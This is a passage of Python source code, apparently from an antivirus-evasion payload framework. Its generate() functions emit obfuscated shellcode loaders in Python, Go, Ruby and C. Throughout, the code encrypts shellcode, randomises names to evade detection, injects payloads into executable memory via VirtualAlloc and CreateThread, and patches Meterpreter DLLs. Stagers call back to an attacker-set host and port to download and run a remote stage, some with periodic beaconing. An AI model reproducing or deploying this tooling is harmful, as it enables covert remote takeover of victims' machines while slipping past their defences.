')\n' PayloadCode += RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += ShellcodeVariableName + ' = ' + RandDecodedShellcode + '.decode("string_escape")\n' PayloadCode += RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandDecodeAES = helpers.randomString() RandCipherObject = helpers.randomString() RandDecodedShellcode = helpers.randomString() RandShellCode = helpers.randomString() RandPadding = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # encrypt the shellcode and grab the randomized key (EncodedShellcode, secret) = encryption.encryptAES(Shellcode) # Create Payload code PayloadCode = 'from ctypes import *\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandPadding + ' = \'{\'\n' PayloadCode += '\t' + RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += '\t' + RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += '\t' + RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += '\t' + ShellcodeVariableName + ' = ' + RandDecodedShellcode + '.decode("string_escape")\n' PayloadCode += '\t' + RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += '\t' + RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += '\t' + RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode
def generate(self): memCommit = helpers.randomString() memReserve = helpers.randomString() pageExecRW = helpers.randomString() kernel32 = helpers.randomString() procVirtualAlloc = helpers.randomString() base64Url = helpers.randomString() virtualAlloc = helpers.randomString() size = helpers.randomString() addr = helpers.randomString() err = helpers.randomString() randBase = helpers.randomString() length = helpers.randomString() foo = helpers.randomString() random = helpers.randomString() outp = helpers.randomString() i = helpers.randomString() randTextBase64URL= helpers.randomString() getURI = helpers.randomString() sumVar = helpers.randomString() checksum8 = helpers.randomString() uri = helpers.randomString() value = helpers.randomString() tr = helpers.randomString() client = helpers.randomString() hostAndPort = helpers.randomString() port = self.required_options["LPORT"][0] host = self.required_options["LHOST"][0] response = helpers.randomString() uriLength = randint(5, 255) payload = helpers.randomString() bufferVar = helpers.randomString() x = helpers.randomString() payloadCode = "package main\nimport (\n\"crypto/tls\"\n\"syscall\"\n\"unsafe\"\n" payloadCode += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n)\n" payloadCode += "const (\n" payloadCode += "%s = 0x1000\n" %(memCommit) payloadCode += "%s = 0x2000\n" %(memReserve) payloadCode += "%s = 0x40\n)\n" %(pageExecRW) payloadCode += "var (\n" payloadCode += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" %(kernel32) payloadCode += "%s = %s.NewProc(\"VirtualAlloc\")\n" %(procVirtualAlloc, kernel32) payloadCode += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n)\n" %(base64Url) payloadCode += "func %s(%s uintptr) (uintptr, error) {\n" %(virtualAlloc, size) payloadCode += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" %(addr, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) payloadCode += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(addr, err, addr) payloadCode += "func %s(%s int, %s []byte) string {\n" %(randBase, length, foo) payloadCode += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" %(random) payloadCode += "var %s []byte\n" %(outp) payloadCode += "for %s := 0; %s < %s; %s++ {\n" %(i, i, length, i) payloadCode += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" %(outp, outp, foo, random, foo) payloadCode += "return string(%s)\n}\n" %(outp) payloadCode += "func %s(%s int) string {\n" %(randTextBase64URL, length) payloadCode += "%s := []byte(%s)\n" %(foo, base64Url) payloadCode += "return %s(%s, %s)\n}\n" %(randBase, length, foo) payloadCode += "func %s(%s, %s int) string {\n" %(getURI, sumVar, length) payloadCode += "for {\n%s := 0\n%s := %s(%s)\n" %(checksum8, uri, randTextBase64URL, length) payloadCode += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" %(value, uri, checksum8, value) payloadCode += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" %(checksum8, '%0x100', sumVar, uri) payloadCode += "func main() {\n" payloadCode += "%s := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}\n" %(tr) payloadCode += "%s := http.Client{Transport: %s}\n" %(client, tr) payloadCode += "%s := \"https://%s:%s\"\n" %(hostAndPort, host, port) payloadCode += "%s, _ := %s.Get(%s + %s(92, %s))\n" %(response, client, hostAndPort, getURI, uriLength) payloadCode += "defer %s.Body.Close()\n" %(response) payloadCode += "%s, _ := ioutil.ReadAll(%s.Body)\n" %(payload, response) payloadCode += "%s, _ := %s(uintptr(len(%s)))\n" %(addr, virtualAlloc, payload) payloadCode += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" %(bufferVar, addr) payloadCode += "for %s, %s := range %s {\n" %(x, value, payload) payloadCode += "%s[%s] = %s\n}\n" %(bufferVar, x, value) payloadCode += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" %(addr) return payloadCode
def generate(self): payloadCode = "import urllib2, string, random, struct, ctypes, httplib, time\n" # randomize everything, yo' sumMethodName = helpers.randomString() checkinMethodName = helpers.randomString() randLettersName = helpers.randomString() randLetterSubName = helpers.randomString() randBaseName = helpers.randomString() downloadMethodName = helpers.randomString() hostName = helpers.randomString() portName = helpers.randomString() requestName = helpers.randomString() tName = helpers.randomString() injectMethodName = helpers.randomString() dataName = helpers.randomString() byteArrayName = helpers.randomString() ptrName = helpers.randomString() bufName = helpers.randomString() handleName = helpers.randomString() data2Name = helpers.randomString() proxy_var = helpers.randomString() opener_var = helpers.randomString() # helper method that returns the sum of all ord values in a string % 0x100 payloadCode += "def %s(s): return sum([ord(ch) for ch in s]) %% 0x100\n" % ( sumMethodName) # method that generates a new checksum value for checkin to the meterpreter handler payloadCode += "def %s():\n\tfor x in xrange(64):\n" % ( checkinMethodName) payloadCode += "\t\t%s = ''.join(random.sample(string.ascii_letters + string.digits,3))\n" % ( randBaseName) payloadCode += "\t\t%s = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))\n" % ( randLettersName) payloadCode += "\t\tfor %s in %s:\n" % (randLetterSubName, randLettersName) payloadCode += "\t\t\tif %s(%s + %s) == 92: return %s + %s\n" % ( sumMethodName, randBaseName, randLetterSubName, randBaseName, randLetterSubName) # method that connects to a host/port over https and downloads the hosted data payloadCode += "def %s(%s,%s):\n" % (downloadMethodName, hostName, portName) payloadCode += "\t" + proxy_var + " = urllib2.ProxyHandler()\n" payloadCode += "\t" + opener_var + " = urllib2.build_opener(" + proxy_var + ")\n" payloadCode += "\turllib2.install_opener(" + opener_var + ")\n" payloadCode += "\t%s = urllib2.Request(\"https://%%s:%%s/%%s\" %%(%s,%s,%s()), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})\n" % ( requestName, hostName, portName, checkinMethodName) payloadCode += "\ttry:\n" payloadCode += "\t\t%s = urllib2.urlopen(%s)\n" % (tName, requestName) payloadCode += "\t\ttry:\n" payloadCode += "\t\t\tif int(%s.info()[\"Content-Length\"]) > 100000: return %s.read()\n" % ( tName, tName) payloadCode += "\t\t\telse: return ''\n" payloadCode += "\t\texcept: return %s.read()\n" % (tName) payloadCode += "\texcept urllib2.URLError, e: return ''\n" # method to inject a reflective .dll into memory payloadCode += "def %s(%s):\n" % (injectMethodName, dataName) payloadCode += "\tif %s != \"\":\n" % (dataName) payloadCode += "\t\t%s = bytearray(%s)\n" % (byteArrayName, dataName) payloadCode += "\t\t%s = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(%s)), ctypes.c_int(0x3000),ctypes.c_int(0x40))\n" % ( ptrName, byteArrayName) payloadCode += "\t\t%s = (ctypes.c_char * len(%s)).from_buffer(%s)\n" % ( bufName, byteArrayName, byteArrayName) payloadCode += "\t\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(%s),%s, ctypes.c_int(len(%s)))\n" % ( ptrName, bufName, byteArrayName) payloadCode += "\t\t%s = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(%s),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n" % ( handleName, ptrName) payloadCode += "\t\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(%s),ctypes.c_int(-1))\n" % ( handleName) # download the metpreter .dll and inject it payloadCode += "%s = ''\n" % (data2Name) payloadCode += "%s = %s(\"%s\", %s)\n" % ( data2Name, downloadMethodName, self.required_options["LHOST"][0], self.required_options["LPORT"][0]) payloadCode += "%s(%s)\n" % (injectMethodName, data2Name) if self.required_options["use_pyherion"][0].lower() == "y": payloadCode = encryption.pyherion(payloadCode) return payloadCode
def generate(self): # lambda function used for patching the metsvc.dll dllReplace = lambda dll,ind,s: dll[:ind] + s + dll[ind+len(s):] # patch the metsrv.dll header meterpreterDll, headerPatch = helpers.selfcontained_patch() meterpreterDll = dllReplace(meterpreterDll,0,headerPatch) # patch in the default user agent string userAgentIndex = meterpreterDll.index("METERPRETER_UA\x00") userAgentString = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\x00" meterpreterDll = dllReplace(meterpreterDll,userAgentIndex,userAgentString) # turn off SSL sslIndex = meterpreterDll.index("METERPRETER_TRANSPORT_SSL") sslString = "METERPRETER_TRANSPORT_HTTP\x00" meterpreterDll = dllReplace(meterpreterDll,sslIndex,sslString) # replace the URL/port of the handler urlIndex = meterpreterDll.index("https://" + ("X" * 256)) urlString = "http://" + self.required_options['LHOST'][0] + ":" + str(self.required_options['LPORT'][0]) + "/" + self.genHTTPChecksum() + "_" + helpers.randomString(16) + "/\x00" meterpreterDll = dllReplace(meterpreterDll,urlIndex,urlString) # replace the expiration timeout with the default value of 300 expirationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xb64be661)) expirationTimeout = struct.pack('<I', 604800) meterpreterDll = dllReplace(meterpreterDll,expirationTimeoutIndex,expirationTimeout) # replace the communication timeout with the default value of 300 communicationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xaf79257f)) communicationTimeout = struct.pack('<I', 300) meterpreterDll = dllReplace(meterpreterDll,communicationTimeoutIndex,communicationTimeout) # compress/base64 encode the dll compressedDll = helpers.deflate(meterpreterDll) # actually build out the payload payloadCode = "" # traditional void pointer injection if self.required_options["inject_method"][0].lower() == "void": # doing void * cast payloadCode += "from ctypes import *\nimport base64,zlib\n" randInflateFuncName = helpers.randomString() randb64stringName = helpers.randomString() randVarName = helpers.randomString() # deflate function payloadCode += "def "+randInflateFuncName+"("+randb64stringName+"):\n" payloadCode += "\t" + randVarName + " = base64.b64decode( "+randb64stringName+" )\n" payloadCode += "\treturn zlib.decompress( "+randVarName+" , -15)\n" randVarName = helpers.randomString() randFuncName = helpers.randomString() payloadCode += randVarName + " = " + randInflateFuncName + "(\"" + compressedDll + "\")\n" payloadCode += randFuncName + " = cast(" + randVarName + ", CFUNCTYPE(c_void_p))\n" payloadCode += randFuncName+"()\n" # VirtualAlloc() injection else: payloadCode += 'import ctypes,base64,zlib\n' randInflateFuncName = helpers.randomString() randb64stringName = helpers.randomString() randVarName = helpers.randomString() randPtr = helpers.randomString() randBuf = helpers.randomString() randHt = helpers.randomString() # deflate function payloadCode += "def "+randInflateFuncName+"("+randb64stringName+"):\n" payloadCode += "\t" + randVarName + " = base64.b64decode( "+randb64stringName+" )\n" payloadCode += "\treturn zlib.decompress( "+randVarName+" , -15)\n" payloadCode += randVarName + " = bytearray(" + randInflateFuncName + "(\"" + compressedDll + "\"))\n" payloadCode += randPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ randVarName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' payloadCode += randBuf + ' = (ctypes.c_char * len(' + randVarName + ')).from_buffer(' + randVarName + ')\n' payloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + randPtr + '),' + randBuf + ',ctypes.c_int(len(' + randVarName + ')))\n' payloadCode += randHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + randPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' payloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + randHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": payloadCode = encryption.pyherion(payloadCode) return payloadCode
def generate(self): if os.path.exists(settings.METASPLOIT_PATH + "/vendor/bundle/ruby/1.9.1/gems/meterpreter_bins-0.0.10/meterpreter/metsrv.x86.dll"): metsrvPath = settings.METASPLOIT_PATH + "/vendor/bundle/ruby/1.9.1/gems/meterpreter_bins-0.0.10/meterpreter/metsrv.x86.dll" else: print "[*] Error: You either do not have the latest version of Metasploit or" print "[*] Error: do not have your METASPLOIT_PATH set correctly in your settings file." print "[*] Error: Please fix either issue then select this payload again!" sys.exit() f = open(metsrvPath, 'rb') meterpreterDll = f.read() f.close() # lambda function used for patching the metsvc.dll dllReplace = lambda dll,ind,s: dll[:ind] + s + dll[ind+len(s):] # patch the metsrv.dll header headerPatch = "\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5\x81\xc3\xf8" headerPatch += "\x87\x05\x00\xff\xd3\x89\xc3\x57\x68\x04\x00\x00\x00\x50\xff\xd0" headerPatch += "\x68\xe0\x1d\x2a\x0a\x68\x05\x00\x00\x00\x50\xff\xd3\x00\x00\x00" meterpreterDll = dllReplace(meterpreterDll,0,headerPatch) # patch in the default user agent string userAgentIndex = meterpreterDll.index("METERPRETER_UA\x00") userAgentString = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\x00" meterpreterDll = dllReplace(meterpreterDll,userAgentIndex,userAgentString) # turn off SSL sslIndex = meterpreterDll.index("METERPRETER_TRANSPORT_SSL") sslString = "METERPRETER_TRANSPORT_HTTP\x00" meterpreterDll = dllReplace(meterpreterDll,sslIndex,sslString) # replace the URL/port of the handler urlIndex = meterpreterDll.index("https://" + ("X" * 256)) urlString = "http://" + self.required_options['LHOST'][0] + ":" + str(self.required_options['LPORT'][0]) + "/" + self.genHTTPChecksum() + "_" + helpers.randomString(16) + "/\x00" meterpreterDll = dllReplace(meterpreterDll,urlIndex,urlString) # replace the expiration timeout with the default value of 300 expirationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xb64be661)) expirationTimeout = struct.pack('<I', 604800) meterpreterDll = dllReplace(meterpreterDll,expirationTimeoutIndex,expirationTimeout) # replace the communication timeout with the default value of 300 communicationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xaf79257f)) communicationTimeout = struct.pack('<I', 300) meterpreterDll = dllReplace(meterpreterDll,communicationTimeoutIndex,communicationTimeout) # compress/base64 encode the dll compressedDll = helpers.deflate(meterpreterDll) # actually build out the payload payloadCode = "" payloadCode = "require 'rubygems';require 'win32/api';require 'socket';require 'base64';require 'zlib';include Win32\n" payloadCode += "exit if Object.const_defined?(:Ocra)\n" # randomly generate out variable names payloadName = helpers.randomString().lower() ptrName = helpers.randomString().lower() threadName = helpers.randomString().lower() Shellcode = helpers.randomString().lower() randInflateFuncName = helpers.randomString().lower() randb64stringName = helpers.randomString().lower() randVarName = helpers.randomString().lower() # deflate function payloadCode += "def "+randInflateFuncName+"("+randb64stringName+")\n" payloadCode += " " + randVarName + " = Base64.decode64("+randb64stringName+")\n" payloadCode += " zstream = Zlib::Inflate.new(-Zlib::MAX_WBITS)\n" payloadCode += " buf = zstream.inflate("+ randVarName +")\n" payloadCode += " zstream.finish\n" payloadCode += " zstream.close\n" payloadCode += " return buf\n" payloadCode += "end\n\n" payloadCode += Shellcode + " = " + randInflateFuncName + "(\"" + compressedDll + "\")\n" payloadCode += "v = API.new('VirtualAlloc', 'IIII', 'I');r = API.new('RtlMoveMemory', 'IPI', 'V');c = API.new('CreateThread', 'IIIIIP', 'I');w = API.new('WaitForSingleObject', 'II', 'I')\n" payloadCode += "%s = %s\n" %(payloadName, Shellcode) payloadCode += "%s = v.call(0,(%s.length > 0x1000 ? %s.length : 0x1000), 0x1000, 0x40)\n" %(ptrName,payloadName,payloadName) payloadCode += "x = r.call(%s,%s,%s.length); %s = c.call(0,0,%s,0,0,0); x = w.call(%s,0xFFFFFFF)\n" %(ptrName,payloadName,payloadName,threadName,ptrName,threadName) return payloadCode
def generate(self): # randomize all of the variable names used shellCodeName = helpers.randomString() socketName = helpers.randomString() intervalName = helpers.randomString() attemptsName = helpers.randomString() getDataMethodName = helpers.randomString() fdBufName = helpers.randomString() rcvStringName = helpers.randomString() rcvCStringName = helpers.randomString() injectMethodName = helpers.randomString() tempShellcodeName = helpers.randomString() shellcodeBufName = helpers.randomString() fpName = helpers.randomString() tempCBuffer = helpers.randomString() payloadCode = "import struct, socket, binascii, ctypes, random, time\n" # socket and shellcode variables that need to be kept global payloadCode += "%s, %s = None, None\n" % (shellCodeName, socketName) # build the method that creates a socket, connects to the handler, # and downloads/patches the meterpreter .dll payloadCode += "def %s():\n" % (getDataMethodName) payloadCode += "\ttry:\n" payloadCode += "\t\tglobal %s\n" % (socketName) # build the socket and connect to the handler payloadCode += "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" % ( socketName) payloadCode += "\t\t%s.connect(('%s', %s))\n" % ( socketName, self.required_options["LHOST"][0], self.required_options["LPORT"][0]) # pack the underlying socket file descriptor into a c structure payloadCode += "\t\t%s = struct.pack('<i', %s.fileno())\n" % ( fdBufName, socketName) # unpack the length of the payload, received as a 4 byte array from the handler payloadCode += "\t\tl = struct.unpack('<i', str(%s.recv(4)))[0]\n" % ( socketName) payloadCode += "\t\t%s = \" \"\n" % (rcvStringName) # receive ALL of the payload .dll data payloadCode += "\t\twhile len(%s) < l: %s += %s.recv(l)\n" % ( rcvStringName, rcvStringName, socketName) payloadCode += "\t\t%s = ctypes.create_string_buffer(%s, len(%s))\n" % ( rcvCStringName, rcvStringName, rcvStringName) # prepend a little assembly magic to push the socket fd into the edi register payloadCode += "\t\t%s[0] = binascii.unhexlify('BF')\n" % ( rcvCStringName) # copy the socket fd in payloadCode += "\t\tfor i in xrange(4): %s[i+1] = %s[i]\n" % ( rcvCStringName, fdBufName) payloadCode += "\t\treturn %s\n" % (rcvCStringName) payloadCode += "\texcept: return None\n" # build the method that injects the .dll into memory payloadCode += "def %s(%s):\n" % (injectMethodName, tempShellcodeName) payloadCode += "\tif %s != None:\n" % (tempShellcodeName) payloadCode += "\t\t%s = bytearray(%s)\n" % (shellcodeBufName, tempShellcodeName) # allocate enough virtual memory to stuff the .dll in payloadCode += "\t\t%s = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(%s)),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n" % ( fpName, shellcodeBufName) # virtual lock to prevent the memory from paging out to disk payloadCode += "\t\tctypes.windll.kernel32.VirtualLock(ctypes.c_int(%s), ctypes.c_int(len(%s)))\n" % ( fpName, shellcodeBufName) payloadCode += "\t\t%s = (ctypes.c_char * len(%s)).from_buffer(%s)\n" % ( tempCBuffer, shellcodeBufName, shellcodeBufName) # copy the .dll into the allocated memory payloadCode += "\t\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(%s), %s, ctypes.c_int(len(%s)))\n" % ( fpName, tempCBuffer, shellcodeBufName) # kick the thread off to execute the .dll payloadCode += "\t\tht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(%s),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n" % ( fpName) # wait for the .dll execution to finish payloadCode += "\t\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))\n" # set up expiration options if specified if self.required_options["expire_payload"][0].lower() == "x": # download the stager payloadCode += "%s = %s()\n" % (shellCodeName, getDataMethodName) # inject what we grabbed payloadCode += "%s(%s)\n" % (injectMethodName, shellCodeName) else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["expire_payload"][0]))) randToday = helpers.randomString() randExpire = helpers.randomString() payloadCode += 'from datetime import datetime\n' payloadCode += 'from datetime import date\n\n' payloadCode += randToday + ' = datetime.now()\n' payloadCode += randExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' payloadCode += 'if ' + randToday + ' < ' + randExpire + ':\n' # download the stager payloadCode += "\t%s = %s()\n" % (shellCodeName, getDataMethodName) # inject what we grabbed payloadCode += "\t%s(%s)\n" % (injectMethodName, shellCodeName) if self.required_options["use_pyherion"][0].lower() == "y": payloadCode = encryption.pyherion(payloadCode) return payloadCode
def generate(self): imports = "import sys; import urllib2; import ctypes; import time; import signal; import threading\n" inject_func = helpers.randomString() getexec_func = helpers.randomString() main_func = helpers.randomString() beaconthr_func = helpers.randomString() retry_var = helpers.randomString() if self.required_options["Beacon"][0].lower() == 'n': global_vars = "%s = False" % retry_var elif self.required_options["Beacon"][0].lower() == 'y': global_vars = "%s = True" % retry_var interval_var = helpers.randomString() opener_var = helpers.randomString() global_vars += "\n%s = %s" % ( interval_var, self.required_options["BeaconSeconds"][0]) global_vars += "\n%s = urllib2.build_opener()\n" % (opener_var) shellcode_var = helpers.randomString() ptr_var = helpers.randomString() ht_var = helpers.randomString() buff_var = helpers.randomString() inject = "def %s(%s):" % (inject_func, shellcode_var) inject += "\n\t%s = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(%s)),ctypes.c_int(0x3000),ctypes.c_int(0x40))" % ( ptr_var, shellcode_var) inject += "\n\tctypes.windll.kernel32.VirtualLock(ctypes.c_int(%s), ctypes.c_int(len(%s)))" % ( ptr_var, shellcode_var) inject += "\n\t%s = (ctypes.c_char * len(%s)).from_buffer(%s)" % ( buff_var, shellcode_var, shellcode_var) inject += "\n\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(%s), %s, ctypes.c_int(len(%s)))" % ( ptr_var, buff_var, shellcode_var) inject += "\n\t%s = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(%s),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))" % ( ht_var, ptr_var) inject += "\n\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(%s),ctypes.c_int(-1))\n" % ht_var url_var = helpers.randomString() shellcode_var = helpers.randomString() info_var = helpers.randomString() thread_var = helpers.randomString() thread_name = helpers.randomString() thread_name2 = helpers.randomString() getexec = "def %s(%s):" % (getexec_func, url_var) getexec += "\n\ttry:" getexec += "\n\t\t%s = %s.open(%s)" % (info_var, opener_var, url_var) getexec += "\n\t\t%s = %s.read()" % (shellcode_var, info_var) getexec += "\n\t\t%s = bytearray(%s)" % (shellcode_var, shellcode_var) getexec += "\n\t\t%s(%s)" % (inject_func, shellcode_var) getexec += "\n\texcept Exception:" getexec += "\n\t\tpass\n" url_var = helpers.randomString() beaconthr = "def %s(%s):" % (beaconthr_func, url_var) beaconthr += "\n\twhile True:" beaconthr += "\n\t\ttime.sleep(%s)" % interval_var beaconthr += "\n\t\t%s = threading.Thread(name='%s', target=%s, args=(%s,))" % ( thread_var, thread_name, getexec_func, url_var) beaconthr += "\n\t\t%s.setDaemon(True)" % thread_var beaconthr += "\n\t\t%s.start()\n" % thread_var main = "def %s():" % main_func main += "\n\t%s = 'http://%s:%s/%s'" % ( url_var, self.required_options['DownloadHost'][0], self.required_options['DownloadPort'][0], self.required_options['DownloadName'][0]) main += "\n\tif %s is True:" % retry_var main += "\n\t\t%s = threading.Thread(name='%s', target=%s, args=(%s,))" % ( thread_var, thread_name, beaconthr_func, url_var) main += "\n\t\t%s.setDaemon(True)" % thread_var main += "\n\t\t%s.start()" % thread_var main += "\n\t%s(%s)" % (getexec_func, url_var) if self.required_options["Beacon"][0].lower() == 'y': main += "\n\twhile True:" main += "\n\t\ttime.sleep(0.1)" main += "\nif __name__ == '__main__':" main += "\n\t%s()" % main_func PayloadCode = imports + global_vars + inject + getexec + beaconthr + main if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode
def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # Generate Random Variable Names RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "void": # Start creating our void pointer C payload PayloadCode = 'unsigned char payload[]=\n' PayloadCode += '\"' + Shellcode + '\";\n' PayloadCode += 'int main(void) { ((void (*)())payload)();}\n' return PayloadCode elif self.required_options["INJECT_METHOD"][0].lower() == "heap": # Create out heap injecting C payload PayloadCode = '#include <windows.h>\n' PayloadCode += '#include <stdio.h>\n' PayloadCode += '#include <string.h>\n' PayloadCode += 'int main()\n' PayloadCode += '{\n' PayloadCode += ' HANDLE heapVar;\n' PayloadCode += ' LPVOID lpvAddr;\n' PayloadCode += ' HANDLE hHand;\n' PayloadCode += ' DWORD dwWaitResult;\n' PayloadCode += ' DWORD threadID;\n\n' PayloadCode += 'unsigned char buff[] = \n' PayloadCode += '\"' + Shellcode + '\";\n\n' PayloadCode += 'heapVar = HeapCreate(0x00040000, strlen(buff), 0);\n' PayloadCode += 'lpvAddr = HeapAlloc(heapVar, 0x00000008, strlen(buff));\n' PayloadCode += 'RtlMoveMemory(lpvAddr,buff, strlen(buff));\n' PayloadCode += 'hHand = CreateThread(NULL,0,lpvAddr,NULL,0,&threadID);\n' PayloadCode += 'dwWaitResult = WaitForSingleObject(hHand,INFINITE);\n' PayloadCode += 'return 0;\n' PayloadCode += '}\n' return PayloadCode else: # Start creating our virtual alloc injecting C payload PayloadCode = '#include <windows.h>\n' PayloadCode += '#include <stdio.h>\n' PayloadCode += '#include <string.h>\n' PayloadCode += 'int main()\n' PayloadCode += '{\n' PayloadCode += ' LPVOID lpvAddr;\n' PayloadCode += ' HANDLE hHand;\n' PayloadCode += ' DWORD dwWaitResult;\n' PayloadCode += ' DWORD threadID;\n\n' PayloadCode += 'unsigned char buff[] = \n' PayloadCode += '\"' + Shellcode + '\";\n\n' PayloadCode += 'lpvAddr = VirtualAlloc(NULL, strlen(buff),0x3000,0x40);\n' PayloadCode += 'RtlMoveMemory(lpvAddr,buff, strlen(buff));\n' PayloadCode += 'hHand = CreateThread(NULL,0,lpvAddr,NULL,0,&threadID);\n' PayloadCode += 'dwWaitResult = WaitForSingleObject(hHand,INFINITE);\n' PayloadCode += 'return 0;\n' PayloadCode += '}\n' return PayloadCode
def generate(self): sumvalue_name = helpers.randomString() checksum_name = helpers.randomString() winsock_init_name = helpers.randomString() punt_name = helpers.randomString() wsconnect_name = helpers.randomString() # the real includes needed includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>", "#include <time.h>"] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(1,global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = helpers.randomString() # reverse() randName2 = helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2)) ] random.shuffle(stringModFunctions) # obfuscation "logical nop" string generation functions randString1 = helpers.randomString(50) randName1 = helpers.randomString() randVar1 = helpers.randomString() randName2 = helpers.randomString() randVar2 = helpers.randomString() randVar3 = helpers.randomString() randName3 = helpers.randomString() randVar4 = helpers.randomString() randVar5 = helpers.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( 